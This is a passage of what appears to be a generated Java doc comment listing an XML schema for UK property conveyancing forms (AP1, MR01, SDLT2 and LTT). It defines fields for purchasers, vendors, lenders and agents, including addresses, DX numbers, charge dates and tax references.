* &lt;element name="AP1_PurchLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaser2Service" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purchaser2ServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purchaser2ServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Lender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2LenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurch2LenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2LenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2HouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2HouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2Postcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2DXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgent2DXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2HouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2HouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Address3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2Postcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2DXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgent2DXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2LenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2ServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorMortgage" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_IsVendorLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendor2Lender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2LenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendor2LenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Vendor2LenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Vendor2LenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurch2Lender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2Lender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurch2Lender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_Purch2Lender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Purch2Lender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyPrefix" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_CompanyName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="MR01_NameEntitled1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_NameEntitled2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_NameEntitled3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="MR01_IncludesOtherCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="MR01_FloatingCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="MR01_NegativeCharge" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;element name="SDLT2"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT2_AdditionalVendorOrPuchaser" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserSurname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserFirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserFirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_PurchaserVendorConnectedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT2_AdditionalPurchaserActingAsTrusteeYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IDType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IDTypeOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_UKCompany" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_CHNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_SameAsFirstYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Phone" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserDoB" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="LTT_PurchaserVATRegNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserTaxRef" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserCompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserPlaceOfIssue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserNINumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserCorrespondenceToYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PurchaserEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="AP1_IsVendorRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaserService" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchaserServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo" 